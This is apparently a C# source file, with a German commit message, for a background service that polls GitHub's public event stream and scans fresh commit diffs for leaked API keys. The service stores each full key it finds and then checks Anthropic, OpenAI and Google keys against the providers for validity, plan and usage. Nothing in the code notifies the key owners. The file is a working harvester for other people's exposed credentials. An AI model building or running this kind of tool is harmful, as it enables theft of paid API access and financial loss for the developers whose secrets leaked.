Meleki
122000487c
- Neuer ServerSettingsService: zentrale Settings in SQLite mit In-Memory-Cache - Auto-Migration: bestehende appsettings.Production.json wird einmalig in DB übernommen - Alle Services umgestellt: IConfiguration → ServerSettingsService (dynamisch, kein Neustart) - Port bleibt als einziges Setting in appsettings.Production.json (erfordert Neustart) - ServerSettingsEndpoint: liest/schreibt DB statt JSON-Datei, Port als Sonder-Setting - IConfiguration komplett entfernt aus allen Services (ChatService, ToolService, AnthropicService, OpenAiService, KreaService, TelegramService, KeyScannerService, GitHubEventScannerService) - AuthMiddleware: KreaApiKey dynamisch aus DB - appsettings.json bereinigt: nur noch Port und Logging - Dokumentation aktualisiert (ARCHITECTURE.md, ARCHITECTURE_QUICK.md, README.md)
512 lines
20 KiB
C#
512 lines
20 KiB
C#
using System;
|
||
using System.Collections.Generic;
|
||
using System.Linq;
|
||
using System.Net.Http;
|
||
using System.Net.Http.Headers;
|
||
using System.Text.Json;
|
||
using System.Text.RegularExpressions;
|
||
using System.Threading;
|
||
using System.Threading.Tasks;
|
||
using Gott.Models;
|
||
using Microsoft.Extensions.Hosting;
|
||
using Microsoft.Extensions.Logging;
|
||
|
||
namespace Gott.Services;
|
||
|
||
/// <summary>
|
||
/// Echtzeit-Scanner: Pollt GitHub Public Events API alle 75 Sekunden,
|
||
/// filtert PushEvents und scannt Commit-Diffs nach geleakten API-Keys.
|
||
/// </summary>
|
||
public class GitHubEventScannerService : BackgroundService
|
||
{
|
||
private readonly DatabaseService _db;
|
||
private readonly IHttpClientFactory _httpFactory;
|
||
private readonly ILogger<GitHubEventScannerService> _logger;
|
||
private readonly ServerSettingsService _settings;
|
||
|
||
private string _githubToken => _settings.Get("GitHubToken");
|
||
private bool _enabled => _settings.GetBool("GitHubEventScanner", false);
|
||
|
||
private const int PollIntervalMs = 30_000; // 30 Sekunden (häufiger pollen, weniger verpassen)
|
||
private const int MaxCommitsPerPoll = 30; // Max Commit-Diffs pro Poll-Zyklus
|
||
private const int MaxDiffSizeBytes = 100_000; // Diffs > 100KB überspringen
|
||
private const int MaxProcessedIds = 10_000; // Ringbuffer für Event-Dedup
|
||
|
||
// Zentrale Key-Patterns aus KeyPatterns.cs
|
||
private static readonly Regex[] CompiledPatterns = KeyPatterns.Compiled;
|
||
|
||
// Deduplication Ringbuffer
|
||
private readonly HashSet<string> _processedEventIds = new();
|
||
private readonly Queue<string> _eventIdQueue = new();
|
||
|
||
// Live-Log Ringbuffer
|
||
private const int MaxLogEntries = 50;
|
||
private readonly Queue<EventLogEntry> _logEntries = new();
|
||
|
||
// Status-Tracking
|
||
private readonly object _lock = new();
|
||
private bool _isRunning;
|
||
private string _lastPoll;
|
||
private int _eventsPerHour;
|
||
private int _keysFoundTotal;
|
||
private int _pollCount;
|
||
private string _lastError;
|
||
|
||
// Öffentliche Status-Properties
|
||
public bool Enabled => _enabled;
|
||
public bool IsRunning { get { lock (_lock) return _isRunning; } }
|
||
public string LastPoll { get { lock (_lock) return _lastPoll; } }
|
||
public int EventsPerHour { get { lock (_lock) return _eventsPerHour; } }
|
||
public int KeysFoundTotal { get { lock (_lock) return _keysFoundTotal; } }
|
||
public int PollCount { get { lock (_lock) return _pollCount; } }
|
||
public string LastError { get { lock (_lock) return _lastError; } }
|
||
|
||
public List<EventLogEntry> GetLog()
|
||
{
|
||
lock (_lock) return _logEntries.ToList();
|
||
}
|
||
|
||
private void AddLog(string type, string message, string details = null)
|
||
{
|
||
lock (_lock)
|
||
{
|
||
_logEntries.Enqueue(new EventLogEntry
|
||
{
|
||
Time = DateTime.UtcNow.ToString("o"),
|
||
Type = type,
|
||
Message = message
|
||
});
|
||
while (_logEntries.Count > MaxLogEntries)
|
||
_logEntries.Dequeue();
|
||
}
|
||
|
||
// Persistieren in DB (fire-and-forget)
|
||
_ = Task.Run(async () =>
|
||
{
|
||
try { await _db.CreateScannerLog(type, message, "event", details); }
|
||
catch { /* DB-Fehler ignorieren, Scanner nicht blockieren */ }
|
||
});
|
||
}
|
||
|
||
public GitHubEventScannerService(
|
||
DatabaseService db,
|
||
IHttpClientFactory httpFactory,
|
||
ServerSettingsService settings,
|
||
ILogger<GitHubEventScannerService> logger)
|
||
{
|
||
_db = db;
|
||
_httpFactory = httpFactory;
|
||
_settings = settings;
|
||
_logger = logger;
|
||
}
|
||
|
||
protected override async Task ExecuteAsync(CancellationToken stoppingToken)
|
||
{
|
||
_logger.LogInformation("GitHubEventScannerService bereit (Enabled wird dynamisch aus Settings gelesen)");
|
||
|
||
// Kurze Verzögerung nach App-Start
|
||
await Task.Delay(5_000, stoppingToken);
|
||
|
||
var eventCounts = new Queue<(DateTime Time, int Count)>();
|
||
|
||
while (!stoppingToken.IsCancellationRequested)
|
||
{
|
||
// Dynamisch prüfen ob aktiviert
|
||
if (!_enabled || string.IsNullOrWhiteSpace(_githubToken))
|
||
{
|
||
lock (_lock) _isRunning = false;
|
||
await Task.Delay(10_000, stoppingToken);
|
||
continue;
|
||
}
|
||
try
|
||
{
|
||
lock (_lock) _isRunning = true;
|
||
|
||
var eventsProcessed = await PollAndScan(stoppingToken);
|
||
|
||
// Events/Stunde berechnen
|
||
eventCounts.Enqueue((DateTime.UtcNow, eventsProcessed));
|
||
while (eventCounts.Count > 0 && eventCounts.Peek().Time < DateTime.UtcNow.AddHours(-1))
|
||
eventCounts.Dequeue();
|
||
|
||
lock (_lock)
|
||
{
|
||
_lastPoll = DateTime.UtcNow.ToString("o");
|
||
_eventsPerHour = eventCounts.Sum(e => e.Count);
|
||
_pollCount++;
|
||
_lastError = null;
|
||
}
|
||
}
|
||
catch (OperationCanceledException) { break; }
|
||
catch (Exception ex)
|
||
{
|
||
_logger.LogError(ex, "GitHubEventScannerService: Fehler beim Poll");
|
||
AddLog("error", ex.Message);
|
||
lock (_lock) _lastError = ex.Message;
|
||
}
|
||
finally
|
||
{
|
||
lock (_lock) _isRunning = false;
|
||
}
|
||
|
||
await Task.Delay(PollIntervalMs, stoppingToken);
|
||
}
|
||
}
|
||
|
||
/// <summary>
|
||
/// Ein Poll-Zyklus: Events abrufen → PushEvents filtern → Commit-Diffs scannen → Keys speichern.
|
||
/// Gibt die Anzahl verarbeiteter Events zurück.
|
||
/// </summary>
|
||
private async Task<int> PollAndScan(CancellationToken ct)
|
||
{
|
||
var client = CreateGitHubClient();
|
||
var events = await FetchPublicEvents(client, ct);
|
||
if (events.Count == 0)
|
||
{
|
||
AddLog("poll", "0 PushEvents empfangen");
|
||
return 0;
|
||
}
|
||
|
||
// Nur PushEvents, die wir noch nicht verarbeitet haben
|
||
var pushEvents = new List<PushEventData>();
|
||
foreach (var ev in events)
|
||
{
|
||
if (ev.Type != "PushEvent") continue;
|
||
if (!TryTrackEvent(ev.Id)) continue; // Bereits verarbeitet
|
||
pushEvents.Add(ev);
|
||
}
|
||
|
||
if (pushEvents.Count == 0)
|
||
{
|
||
AddLog("poll", events.Count + " Events, 0 neue PushEvents");
|
||
return events.Count;
|
||
}
|
||
|
||
// Max Diffs pro Poll begrenzen
|
||
var toScan = pushEvents.Count > MaxCommitsPerPoll
|
||
? pushEvents.Take(MaxCommitsPerPoll).ToList()
|
||
: pushEvents;
|
||
|
||
AddLog("poll", events.Count + " Events, " + pushEvents.Count + " neue PushEvents → " + toScan.Count + " scannen");
|
||
|
||
// Head-Commit-Diffs scannen
|
||
var newKeysFound = 0;
|
||
var scannedCount = 0;
|
||
foreach (var pe in toScan)
|
||
{
|
||
ct.ThrowIfCancellationRequested();
|
||
|
||
try
|
||
{
|
||
var keys = await ScanCommitDiff(client, pe.Repo, pe.HeadSha, ct);
|
||
scannedCount++;
|
||
|
||
foreach (var (key, sourceUrl, fileName) in keys)
|
||
{
|
||
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
|
||
{
|
||
AddLog("skip", "Key bereits bekannt: " + key[..Math.Min(20, key.Length)] + "... in " + pe.Repo);
|
||
continue;
|
||
}
|
||
|
||
var keyType = DetectKeyType(key);
|
||
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
|
||
var typeName = KeyPatterns.DisplayName(keyType);
|
||
|
||
newKeysFound++;
|
||
await _db.CreateScannedKey(new ScannedKeyRecord
|
||
{
|
||
ScannedKeyId = Guid.NewGuid().ToString("N"),
|
||
ApiKey = key,
|
||
Source = "github_events",
|
||
SourceUrl = sourceUrl,
|
||
Type = keyType,
|
||
Status = "unchecked",
|
||
Plan = "Unknown",
|
||
ScannedAt = DateTime.UtcNow.ToString("o")
|
||
});
|
||
|
||
var logMsg = $"🔑 Neuer {typeName} Key! Repo: {pe.Repo} · Datei: {fileName} · Commit: {pe.HeadSha[..8]} · Prefix: {keyPrefix}";
|
||
_logger.LogInformation(logMsg);
|
||
|
||
// Detailliertes JSON für strukturierte Auswertung
|
||
var detailsJson = JsonSerializer.Serialize(new
|
||
{
|
||
key_type = keyType,
|
||
key_type_name = typeName,
|
||
key_prefix = keyPrefix,
|
||
key_length = key.Length,
|
||
repo = pe.Repo,
|
||
commit_sha = pe.HeadSha,
|
||
file = fileName,
|
||
source_url = sourceUrl,
|
||
push_size = pe.Size
|
||
});
|
||
AddLog("key_found", logMsg, detailsJson);
|
||
}
|
||
}
|
||
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
|
||
{
|
||
_logger.LogWarning("GitHub Rate-Limit bei Commit-Diff, überspringe restliche Commits");
|
||
AddLog("rate_limit", "Rate-Limit bei Commit-Diff, restliche Commits übersprungen");
|
||
break;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
_logger.LogDebug("Commit-Diff-Scan fehlgeschlagen ({Repo}/{Sha}): {Msg}",
|
||
pe.Repo, pe.HeadSha[..Math.Min(8, pe.HeadSha.Length)], ex.Message);
|
||
}
|
||
}
|
||
|
||
AddLog("poll", scannedCount + " Diffs gescannt, " + newKeysFound + " neue Keys");
|
||
|
||
if (newKeysFound > 0)
|
||
{
|
||
lock (_lock) _keysFoundTotal += newKeysFound;
|
||
_logger.LogInformation("GitHubEventScanner: {Count} neue(r) Key(s) in diesem Poll!", newKeysFound);
|
||
|
||
// Neue Keys sofort prüfen
|
||
await CheckNewKeys(ct);
|
||
}
|
||
|
||
return events.Count;
|
||
}
|
||
|
||
/// <summary>Ruft die öffentlichen GitHub Events ab (bis zu 3 Seiten à 100).</summary>
|
||
private async Task<List<PushEventData>> FetchPublicEvents(HttpClient client, CancellationToken ct)
|
||
{
|
||
var allEvents = new List<PushEventData>();
|
||
|
||
for (int page = 1; page <= 3; page++)
|
||
{
|
||
ct.ThrowIfCancellationRequested();
|
||
|
||
var url = $"https://api.github.com/events?per_page=100&page={page}";
|
||
var resp = await client.GetAsync(url, ct);
|
||
|
||
if (resp.StatusCode == System.Net.HttpStatusCode.Forbidden ||
|
||
resp.StatusCode == System.Net.HttpStatusCode.TooManyRequests)
|
||
{
|
||
_logger.LogWarning("GitHub Rate-Limit bei Events-Abruf (Seite {Page})", page);
|
||
AddLog("rate_limit", "Rate-Limit bei Events-Abruf (Seite " + page + ")");
|
||
break;
|
||
}
|
||
|
||
if (!resp.IsSuccessStatusCode)
|
||
{
|
||
AddLog("error", "Events-API HTTP " + (int)resp.StatusCode + " (Seite " + page + ")");
|
||
break;
|
||
}
|
||
|
||
var json = await resp.Content.ReadAsStringAsync(ct);
|
||
var doc = JsonDocument.Parse(json);
|
||
|
||
var totalInPage = doc.RootElement.GetArrayLength();
|
||
if (page == 1 && totalInPage == 0)
|
||
{
|
||
AddLog("error", "API gab 0 Events zurück – Token ggf. kein Classic PAT?");
|
||
break;
|
||
}
|
||
|
||
foreach (var elem in doc.RootElement.EnumerateArray())
|
||
{
|
||
var type = elem.TryGetProperty("type", out var t) ? t.GetString() : "";
|
||
var id = elem.TryGetProperty("id", out var i) ? i.GetString() : "";
|
||
var repo = elem.TryGetProperty("repo", out var r) && r.TryGetProperty("name", out var n) ? n.GetString() : "";
|
||
|
||
if (type != "PushEvent" || string.IsNullOrEmpty(repo)) continue;
|
||
|
||
// Head-SHA aus payload.head – die Events-API liefert keine commits[], aber immer head
|
||
var headSha = "";
|
||
var size = 0;
|
||
if (elem.TryGetProperty("payload", out var payload))
|
||
{
|
||
headSha = payload.TryGetProperty("head", out var h) ? h.GetString() : "";
|
||
size = payload.TryGetProperty("size", out var sz) ? sz.GetInt32() : 0;
|
||
}
|
||
|
||
if (string.IsNullOrEmpty(headSha)) continue;
|
||
|
||
allEvents.Add(new PushEventData
|
||
{
|
||
Id = id,
|
||
Type = type,
|
||
Repo = repo,
|
||
HeadSha = headSha,
|
||
Size = size
|
||
});
|
||
}
|
||
|
||
// Wenn weniger als 100 Events, gibt es keine weiteren Seiten
|
||
if (doc.RootElement.GetArrayLength() < 100) break;
|
||
|
||
await Task.Delay(500, ct); // Kurze Pause zwischen Seiten
|
||
}
|
||
|
||
return allEvents;
|
||
}
|
||
|
||
/// <summary>Scannt den Diff eines einzelnen Commits nach Key-Patterns. Gibt Key, URL und Dateiname zurück.</summary>
|
||
private async Task<List<(string Key, string Url, string FileName)>> ScanCommitDiff(HttpClient client, string repo, string sha, CancellationToken ct)
|
||
{
|
||
var keys = new List<(string Key, string Url, string FileName)>();
|
||
|
||
var detailUrl = $"https://api.github.com/repos/{repo}/commits/{sha}";
|
||
var request = new HttpRequestMessage(HttpMethod.Get, detailUrl);
|
||
request.Headers.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github+json"));
|
||
|
||
var resp = await client.SendAsync(request, ct);
|
||
if (!resp.IsSuccessStatusCode) return keys;
|
||
|
||
var json = await resp.Content.ReadAsStringAsync(ct);
|
||
|
||
// Größe prüfen
|
||
if (json.Length > MaxDiffSizeBytes) return keys;
|
||
|
||
var doc = JsonDocument.Parse(json);
|
||
if (!doc.RootElement.TryGetProperty("files", out var files)) return keys;
|
||
|
||
var htmlUrl = $"https://github.com/{repo}/commit/{sha}";
|
||
|
||
foreach (var file in files.EnumerateArray())
|
||
{
|
||
// Patch kann null sein bei Binärdateien oder zu großen Diffs
|
||
if (!file.TryGetProperty("patch", out var patchProp)) continue;
|
||
var patch = patchProp.GetString();
|
||
if (string.IsNullOrEmpty(patch)) continue;
|
||
|
||
var fileName = file.TryGetProperty("filename", out var fn) ? fn.GetString() ?? "unknown" : "unknown";
|
||
|
||
// Nur hinzugefügte Zeilen scannen (beginnen mit "+")
|
||
foreach (var line in patch.Split('\n'))
|
||
{
|
||
if (!line.StartsWith("+")) continue;
|
||
|
||
foreach (var regex in CompiledPatterns)
|
||
{
|
||
foreach (Match m in regex.Matches(line))
|
||
keys.Add((m.Value, htmlUrl, fileName));
|
||
}
|
||
}
|
||
}
|
||
|
||
return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList();
|
||
}
|
||
|
||
/// <summary>Prüft alle unchecked Keys sofort nach Fund.</summary>
|
||
private async Task CheckNewKeys(CancellationToken ct)
|
||
{
|
||
try
|
||
{
|
||
var allScanned = (await _db.GetScannedKeys()).ToList();
|
||
var unchecked_ = allScanned.Where(k => k.Status == "unchecked").ToList();
|
||
|
||
foreach (var sk in unchecked_)
|
||
{
|
||
ct.ThrowIfCancellationRequested();
|
||
var type = KeyPatterns.DetectType(sk.ApiKey);
|
||
|
||
var keyPrefix = sk.ApiKey[..Math.Min(20, sk.ApiKey.Length)] + "...";
|
||
var typeName = KeyPatterns.DisplayName(type);
|
||
|
||
try
|
||
{
|
||
if (KeyPatterns.IsAnthropic(type))
|
||
{
|
||
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
|
||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
|
||
var checkMsg = $"🔍 {typeName} geprüft: {status} · Plan: {result.Plan} · {keyPrefix}";
|
||
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, plan = result.Plan, usage_7d = result.Usage7d, usage_5h = result.Usage5h, source_url = sk.SourceUrl }));
|
||
}
|
||
else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy")
|
||
{
|
||
var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||
var status = result.Status == "ok" ? "valid" : result.Status;
|
||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
|
||
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
|
||
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
|
||
}
|
||
else if (type == "google_api")
|
||
{
|
||
var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||
var status = result.Status == "ok" ? "valid" : result.Status;
|
||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
|
||
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
|
||
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
|
||
}
|
||
else
|
||
{
|
||
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
|
||
}
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
_logger.LogWarning("Key-Check fehlgeschlagen: {Msg}", ex.Message);
|
||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "error", "Unknown", null, null);
|
||
}
|
||
|
||
await Task.Delay(500, ct);
|
||
}
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
_logger.LogWarning("CheckNewKeys fehlgeschlagen: {Msg}", ex.Message);
|
||
}
|
||
}
|
||
|
||
/// <summary>Trackt eine Event-ID. Gibt true zurück wenn neu, false wenn bereits verarbeitet.</summary>
|
||
private bool TryTrackEvent(string eventId)
|
||
{
|
||
if (string.IsNullOrEmpty(eventId)) return false;
|
||
|
||
lock (_lock)
|
||
{
|
||
if (_processedEventIds.Contains(eventId)) return false;
|
||
|
||
_processedEventIds.Add(eventId);
|
||
_eventIdQueue.Enqueue(eventId);
|
||
|
||
// Ringbuffer: älteste IDs entfernen
|
||
while (_eventIdQueue.Count > MaxProcessedIds)
|
||
{
|
||
var old = _eventIdQueue.Dequeue();
|
||
_processedEventIds.Remove(old);
|
||
}
|
||
}
|
||
|
||
return true;
|
||
}
|
||
|
||
private HttpClient CreateGitHubClient()
|
||
{
|
||
var client = _httpFactory.CreateClient();
|
||
client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("GottEventScanner", "1.0"));
|
||
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github+json"));
|
||
client.DefaultRequestHeaders.Add("X-GitHub-Api-Version", "2022-11-28");
|
||
if (!string.IsNullOrWhiteSpace(_githubToken))
|
||
client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", _githubToken);
|
||
return client;
|
||
}
|
||
|
||
private static string DetectKeyType(string key) => KeyPatterns.DetectType(key);
|
||
|
||
// ── Interne Datenstrukturen ──
|
||
|
||
private class PushEventData
|
||
{
|
||
public string Id { get; set; }
|
||
public string Type { get; set; }
|
||
public string Repo { get; set; }
|
||
public string HeadSha { get; set; } // payload.head – Commit-SHA des HEAD
|
||
public int Size { get; set; } // payload.size – Anzahl Commits im Push
|
||
}
|
||
|
||
public class EventLogEntry
|
||
{
|
||
public string Time { get; set; }
|
||
public string Type { get; set; } // poll, key, rate_limit, error
|
||
public string Message { get; set; }
|
||
}
|
||
}
|